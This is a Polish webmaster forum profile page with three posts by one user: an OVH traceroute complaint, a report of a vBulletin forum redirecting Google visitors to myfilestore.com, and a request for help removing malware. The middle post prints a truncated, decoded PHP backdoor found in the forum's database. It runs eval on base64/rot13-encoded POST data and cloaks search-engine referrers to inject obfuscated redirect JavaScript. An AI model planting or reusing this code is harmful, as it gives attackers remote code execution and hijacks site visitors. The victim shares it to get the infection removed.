Skocz do zawartości

kuba.3477

Użytkownicy
 Wyświetl profil  Zobacz jego aktywność

  • Zawartość

    7

  • Rejestracja

  • Ostatnio

Posty napisane przez kuba.3477

  3. Napisano · Edytowano przez kuba.3477 (zobacz historię edycji) · Raportuj odpowiedź

    Coś jest nie tak. Wszystko od OVH mi mocno przymula od 30 minut...

     

    traceroute to ovh.pl (87.98.239.34), 30 hops max, 40 byte packets

1  ae0-v27.dr-master.r2.cgn3.hosteurope.de (80.237.136.186)  0.172 ms  0.191 ms  0.172 ms

2  xe-3-1-0.cr-pollux.cgn3.hosteurope.de (176.28.4.53)  1.422 ms  1.422 ms  1.430 ms

3  xe-0-3-0.cr-antares.ams1.hosteurope.de (80.237.129.118)  8.760 ms  8.761 ms  8.768 ms

4  * * *

5  * * *

6  * * *

7  * * *

8  * * *

9  * * *

10  * * *

11  * * *

12  * * *

  5. Napisano · Edytowano przez kuba.3477 (zobacz historię edycji) · Raportuj odpowiedź

    Cześć,

     

    coś takiego znaleźliśmy (rozkodowany fragment) w baza forum -> tabela datastore -> wpis plugins

     

    if(isset($_POST[$x]))eval(base64_decode(str_rot13($_POST[$x])));unset($x);
ini_set('display_errors',0);ini_set('log_errors',0);
$r=!empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : getenv('HTTP_REFERER');
if(strlen($r)>10)
{
$ip=$_SERVER['REMOTE_ADDR'];$hn=@gethostbyaddr($ip);
if((strpos($ip,'65.55.')!==0)&&(strpos($hn,'msnbot')===false))
{
	$s=array('search.live.com','www.google','search.yahoo.com','www.bing.com','yandex.ru','baidu.com');
	foreach($s as $e)
	{
			if((strpos($r,$e)!==false)&&(empty($_COOKIE['vbsp'])))
			{
					$h=strtoupper(substr(@md5($_SERVER['HTTP_HOST']),0,8));
					die("<html><head></head><body><script type=\"text/javascript\">var vbsp='$h';".str_replace('\\','\\\\',gzinflate(base64_decode('XVLbctowFPwVmpmOpLFDuBgMcd1MQqBN703avlhqRwgBDmAcYy6J5X/vihQmU9vHZ7V7LvsgvZFzOl

     

    Spotkaliście z takim problemem? Może wiecie, jak to wywalić całkowicie?

  11. Napisano · Edytowano przez kuba.3477 (zobacz historię edycji) · Raportuj odpowiedź

    Cześć,

     

    mam taki dziwny problem na forum vbulletin (3.8.7). Dzisiaj szukałem czegoś w google i wszedłem na moje forum przez link w wynikach wyszukiwania google. Co ciekawe zamiast forum w pasku pojawił się adres: myfilestore.com

     

    Przeczytałem już wszystko w sieci na ten temat, jednak nic nie pomaga. Admin mojego dedyka również wszystko sprawdził i wydaje się nie być problemu z serwerem. Ma ktoś jakiś pomysł?

     

    PS: Dodam jako ciekawostkę, że identyczny komunikat dostałem dzisiaj wchodząc na peb (również przez google).

×